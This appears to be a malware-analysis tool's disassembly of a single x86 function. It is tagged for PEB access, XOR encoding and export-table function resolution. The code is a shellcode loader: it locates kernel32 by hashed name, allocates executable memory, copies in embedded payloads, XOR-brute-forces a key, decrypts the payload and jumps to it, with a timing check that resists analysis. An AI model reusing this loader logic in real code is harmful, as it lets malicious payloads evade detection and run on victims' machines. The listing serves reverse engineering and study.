Function at 0x4070ca
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
pop eax
mov ax, 0
mov bx, 0x5a4d
cmp word [eax], bx
je 0x407024
sub eax, 0x1000
jmp 0x407018
mov dword [ebp - 0x3a], eax
call 0x4070ca
push edi
or al, 0x2e
pop ss
jne 0x40709c
xor byte [ebp + 0x3b], ah
and dword [ebp + 0x13], esi
inc edi
adc dword [ebp + 0x20], ecx
add ah, byte [eax]
xor dword [0x4262a37], edx
and dword [ecx], esp
aaa
and byte [esi], dh
inc ebp
or dword [edx], ebp
and al, 0x21
or dword [edi], ebp
aaa
and al, 0x37
cmp al, 4
inc ebp
adc ebp, dword [edi + esi]
xor dword [eax], esi
and al, 0x29
add al, 0x29
sub dword [edx], ebp
inc ebp
adc ebp, dword [edi + esi]
xor dword [eax], esi
and al, 0x29
add esi, dword [edi]
and byte [eax], ah
inc ebp
adc ebp, dword [edi + esi]
xor dword [eax], esi
and al, 0x29
adc eax, 0x20312a37
xor dword es:[ebp + 0x10], eax
sub ebp, dword [eax]
and al, 0x35
adc ebp, dword [eax]
xor cl, byte [edx]
and eax, dword [ebx]
sub al, 0x29
and byte [ebp + 0x17], al
xor dword [ecx], ebp
add dword [eax], esp
sub ch, byte es:[eax]
xor eax, 0x36362037
pop es
pop es
xor byte [ebx], ah
and esp, dword [eax]
aaa
inc ebp
add ah, byte [eax]
xor dword [ecx], ecx
and al, 0x36
xor dword [ebx + ebp], ecx
xor eax, 0x2b0c3130
and ebp, dword [edx]
inc ebp
sub esi, dword [ecx]
and dword [ecx], ebp
sub dword [ebx + 0x21], ebp
sub dword [ecx], ebp
inc ebp
xor byte [esi], dh
and byte [edi], dh
jbe 0x40713c
imul esp, dword [ecx], 0x29
sub dword [ebp + 0x5e], eax
lea edi, [ebp - 0x104]
mov ecx, 0x9e
mov bl, 0x45
lodsb al, byte [esi]
xor al, bl
stosb byte es:[edi], al
loop 0x4070d8
push dword [ebp - 0x3a]
pop esi
lea edi, [ebp - 0x104]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x4070e2
mov dword [ebp - 0x2e], esi
lea edi, [ebp - 0x104]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x4070f4
sub esi, 8
sub esi, dword [ebp - 0x2e]
mov dword [ebp - 0x1e], esi
push dword [ebp - 0x3a]
pop esi
lea edi, [ebp - 0xfc]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x407110
mov dword [ebp - 0x2a], esi
lea edi, [ebp - 0xfc]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x407122
sub esi, 8
sub esi, dword [ebp - 0x2a]
mov dword [ebp - 0x1a], esi
xor edi, edi
mov esi, dword [ebp - 0x2e]
mov esi, dword [esi]
xor esi, edi
inc edi
cmp esi, 0xc029c029
jne 0x40713c
dec edi
lea esi, [ebp - 0xe]
mov dword [esi], edi
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x407170
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x407167
cmp di, 0xbc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40715f
mov eax, ebx
mov dword [ebp - 0x66], ebx
push eax
add eax, dword [eax + 0x3c]
add eax, 0x78
mov ecx, dword [eax + 4]
mov ebx, dword [eax]
pop eax
add eax, ebx
mov ebx, dword [eax + 0x1c]
mov eax, dword [eax + 0x20]
xor edx, edx
add eax, dword [ebp - 0x66]
lea esi, [ebp - 0xf4]
mov ecx, 0xe
cld
mov edi, dword [eax]
add edi, dword [ebp - 0x66]
repe cmpsb byte [esi], byte es:[edi]
jecxz 0x4071bd
inc edx
add eax, 4
jmp 0x4071a2
add ebx, dword [ebp - 0x66]
cmp edx, 0x200
jb 0x4071c9
inc edx
mov eax, dword [ebx + edx*4]
add eax, dword [ebp - 0x66]
lea ebx, [ebp - 0x42]
mov dword [ebx], eax
mov dword [ebp - 0x42], eax
lea eax, [ebp - 0xe5]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x46]
mov dword [ebx], eax
mov dword [ebp - 0x46], eax
lea eax, [ebp - 0xd8]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x5a]
mov dword [ebx], eax
lea eax, [ebp - 0xcb]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x56]
mov dword [ebx], eax
lea eax, [ebp - 0xbf]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x52]
mov dword [ebx], eax
lea eax, [ebp - 0xb0]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x4e]
mov dword [ebx], eax
lea eax, [ebp - 0x71]
push eax
call dword [ebp - 0x46]
mov dword [ebp - 0x5e], eax
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x5e]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x3e]
mov dword [ebx], eax
lea eax, [ebp - 0x7b]
push eax
call dword [ebp - 0x46]
mov dword [ebp - 0x62], eax
lea eax, [ebp - 0xa0]
push eax
push dword [ebp - 0x62]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x4a]
mov dword [ebx], eax
push 0x40
push 0x1000
push dword [ebp - 0x1a]
push 0
call dword [ebp - 0x5a]
mov dword [ebp - 0x36], eax
mov ecx, dword [ebp - 0x1a]
mov esi, dword [ebp - 0x2a]
mov edi, dword [ebp - 0x36]
rep movsb byte es:[edi], byte [esi]
push 0x40
push 0x1000
push dword [ebp - 0x1e]
push 0
call dword [ebp - 0x5a]
mov dword [ebp - 0x32], eax
mov ecx, dword [ebp - 0x1e]
mov esi, dword [ebp - 0x2e]
mov edi, dword [ebp - 0x32]
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0xa], 8
lea eax, [ebp - 0xa]
push eax
call dword [ebp - 0x3e]
mov ebx, dword [ebp - 6]
lea eax, [ebp - 0xa]
push eax
call dword [ebp - 0x3e]
cmp ebx, dword [ebp - 6]
je 0x4072a6
mov esi, dword [ebp - 0x32]
mov edi, esi
mov eax, dword [ebp - 0x1e]
mov ebx, 4
div bl
mov ecx, eax
mov ebx, dword [ebp - 0xe]
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x4072d7
jmp dword [ebp - 0x32]